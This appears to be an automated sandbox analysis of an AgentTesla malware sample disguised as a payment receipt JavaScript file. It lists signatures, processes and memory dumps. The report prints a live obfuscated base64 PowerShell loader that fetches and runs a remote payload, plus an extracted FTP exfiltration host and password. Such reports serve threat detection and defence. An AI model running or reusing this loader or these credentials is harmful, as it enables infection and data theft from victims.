Analysis
- max time kernel
149s - max time network
141s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
- submitted
02/10/2026, 15:19
General
- Target Comprobante de pago.js
- Size 30KB
- Sample261002-sp99bstcmf
- SHA256 45251b761afc2e6dcb2115d22578850869c0a16b380ed720ce563220ec45ceba
Malware Config
Extracted
-
Protocol
ftp
-
Host
ftp.ventaslll.com
-
Port
21
-
Username
-
Password
]HDaBYc%$hkg(27G
Extracted
-
agenttesla
-
Protocol
ftp
-
Host
ftp://ftp.ventaslll.com
-
Port
21
-
Username
-
Password
]HDaBYc%$hkg(27G
Signatures
- Family: AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
- Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Looks up external IP address via web service 1 TTPs 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of SetThreadContext 1 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
- outlook_office_path 1 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\Comprobante de pago.js"1⤵
- Reads the TCP/IP host and domain name from the registry
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden -Command "1..1 | % { [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('LiAoICRlTnY6Y09tU3BFY1s0LDE1LDI1XS1qT2luJycpKCgoJ1NMYXB5cm9jaG9sZXN0ZXJpYyA9IHJWT2h0dHBzOi8vcm91Z2gtdHJ1dGgtZTA3Mi5wdWJsaWNmdHByZXNlbmQud28nKydya2Vycy5kZXYveGhmZHl3eHBrclZPOyBTTGFtZXRhY29nbml0aW9uID0gclZPQzpOWW1Vc2Vyc05ZbVB1YicrJ2xpY05ZbURvd25sb2Fkc05ZbXBheWxvYWQudHh0cicrJ1ZPOyBTTGFrZXR1YmltID0gW2FjdGl2YXRvcl06OmNyZWF0ZUluc3RhbmNlKFtuZXQud2ViY2xpZW50XSk7IFNMYWtldHViaW0uSGVhZGVycy5BZGQoclZPVXNlci1BZ2VudHJWTywgclZPTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgVycrJ2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEyMC4wLjAuMCBTYWZhcmkvNTM3LjM2clZPKTsgU0xha2V0dWJpbS4nKydEb3dubG9hZEZpbGUoU0xhcHlyb2Nob2xlc3RlcmljLCBTTGFtZXRhY29nbml0aW9uKTsgU0xhcGhmJysnZnQgPSAoR2V0LUNvbnRlbnQgU0xhbWV0YWNvZ25pdGlvbiAtUmF3KTsgU0xhc3RhdGlvbmFsID0gU0xhcGhmZnQuUmVwbGFjZShVa3kqVWt5LFVreUFVa3kpOyBTTGFwb2Rvc29tYXRhID0gW2NoYXJbXV0oKFNMYXN0YXRpb25hbC5Ub0NoYXJBcnJheSgpKVsoU0xhc3RhdGlvbmFsLkxlbmd0JysnaC0xKS4uMF0pOyBTTGFvbW5pcHJldmFsZW5jZSA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbicrJ2coLWpvaW4gU0xhcG9kb3NvbWEnKyd0YSk7IFtBcHBEb21haW5dOjpDdXJyZW50RG9tYWluLkxvYWQoU0xhb21uaXByZXZhbGVuY2UpIFJmViBPdXQtTnVsbDsgW1dpbjMyLlJNUC5hYWFhYWFhXTo6YWFhYWFhYWFhYWEoVWt5cVZRNkpJTTE4MWk2U3k0RGVkMi9WaURzZ0ExVU9QbmVhOTFPMTdNbWhreis4dEV1R3gyN2RGS2tUZUtwNmx5Z3FFOTZ6Z3NRZm9kT1RiSEdFWFZRanJrJysnbk5YK2pMV3pIc3FvZFZtSjJLU3c9VWt5JysnLFVreVVreSxVJysna3lnem9GT05XRTZ5TTNnUVJEMVNQY0MzOE1lQkg0RG8xN2l4RFlTamdNeE9mOS94Y0ZFTUNFMEVOanRpVXhqVScrJ3p1VWt5LFVreUFIMXNJaWFMMWNFJysncFU2UWFNMzBBcnpxTXl1dUdvWFYzMzB3QUdyOUdYR3MnKyc9VWt5LFVreVVBTFJiTkt3WGZCaWhYREhBQWhLQXBodXJweGw1bEwnKyd1SDdjT1J6elhPNWs9VWt5LFVreVVreSxVa3lHb2JvVVoxNGVHamJ0YUY1SXprdXJQekhhY3N4R25qYURYN3dpJysnZDd2dGdRPVVreSxVa3lVa3ksVWt5cGJrY2FNblhwVjdQNnlJU1BwOEtVZycrJ0lIVHY5ZktiMTJxZ1FCNzJqc3dmND1VaycrJ3ksVWt5RFFrblFqRExKOXNMeGlQQ3FyNmV0VXhHeXB2WXgwUzFDQ2tJNlBEQ2pKWGhGSk1qJysnZ2wwclF1bVNOZTUyVkk4WFVreSxVa3l0ZlF2SnVTb1NCSjkveVFQUkl6MVBaWWl0cDVDRFcvMEs1JysnUmJuT3B2cU40PVUnKydreSxVa3lBVml6RlcnKyc2N29xSlE3NXNNWXc3aTZRaFh3OGQvekFZJysnYm41OUxaNTdjMzRzPVVreSxVa3kxNUJhZ2YwTStCcEFraycrJ0UzMnFjYTJndDknKydjVDlwQXJjWWt3YnVkUFc2WENrPVVreSxVa3lVa3ksVWt5L3FGUXhCJysna2d3bklsMy9ENU9vclJUN1BONmdNY2NqNlA4NnVIWjZWRG54OD1Va3ksJysnVWsnKyd5c0NjN29xQTFMTDNkQ0U2OCcrJytVTE1IcGNidHg3K2ZVdGJxbjh1Smt5Tml0TT1Va3ksVWt5VScrJ2t5LFVreVVreSxVa3lVa3kpOyBSZW1vdmUtSXRlbSAtUGF0aCBTTGFtZXRhY29nbml0aW9uIC1GbycrJ3JjZSAtRXInKydyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZScpLVJlcGxhQ2UoW2NIQXJdODUrW2NIQXJdMTA3K1tjSEFyXTEyMSksW2NIQXJdMzktUmVwbGFDZSAgKFtjSEFyXTgyK1tjSEFyXTEwMitbY0hBcl04NiksW2NIQXJdMTI0LUNyZVBMQUNlIChbY0hBcl0xMTQrW2NIQXJdODYrW2NIQXJdNzkpLFtjSEFyXTM0LVJlcGxhQ2UgICdOWW0nLFtjSEFyXTkyICAtQ3JlUExBQ2UgKFtjSEFyXTgzK1tjSEFyXTc2K1tjSEFyXTk3KSxbY0hBcl0zNikgKQ==')) } | Invoke-Expression"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"2⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_0lyktopt.clc.ps1
memory/2468-919-0x0000000000400000-0x0000000000442000-memory.dmp
memory/2468-920-0x0000000005E30000-0x00000000063D4000-memory.dmp
memory/2468-921-0x0000000005880000-0x00000000058E6000-memory.dmp
memory/2468-922-0x0000000006CC0000-0x0000000006D52000-memory.dmp
memory/2468-925-0x0000000006E40000-0x0000000006E4A000-memory.dmp
memory/2468-924-0x0000000006E50000-0x0000000006EEC000-memory.dmp
memory/2468-923-0x0000000006D60000-0x0000000006DB0000-memory.dmp
memory/5724-77-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-65-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-14-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-105-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-107-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-139-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-137-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-135-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-71-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-133-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-131-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-127-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-125-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-124-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-121-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-119-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-117-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-113-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-111-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-103-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-101-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-99-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-97-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-95-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-93-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-67-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-89-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-87-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-85-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-83-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-81-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-79-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-10-0x00000267F67B0000-0x00000267F67C0000-memory.dmp
memory/5724-75-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-912-0x00000267F6780000-0x00000267F6781000-memory.dmp
memory/5724-13-0x00000267F8FE0000-0x00000267F904C000-memory.dmp
memory/5724-91-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-69-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-63-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-61-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-59-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-57-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-55-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-53-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-51-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-49-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-47-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-45-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-43-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-39-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-37-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-35-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-33-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-31-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-29-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-27-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-25-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-129-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-23-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-115-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-109-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-21-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-19-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-73-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-17-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-2-0x00000267DE4B0000-0x00000267DE4D2000-memory.dmp
memory/5724-1-0x00000267F67B0000-0x00000267F67C0000-memory.dmp
memory/5724-0-0x00000267F67B0000-0x00000267F67C0000-memory.dmp
memory/5724-15-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-41-0x00000267F8FE0000-0x00000267F9047000-memory.dmp
memory/5724-913-0x00000267F67B0000-0x00000267F67C0000-memory.dmp
memory/5724-914-0x00000267F67B0000-0x00000267F67C0000-memory.dmp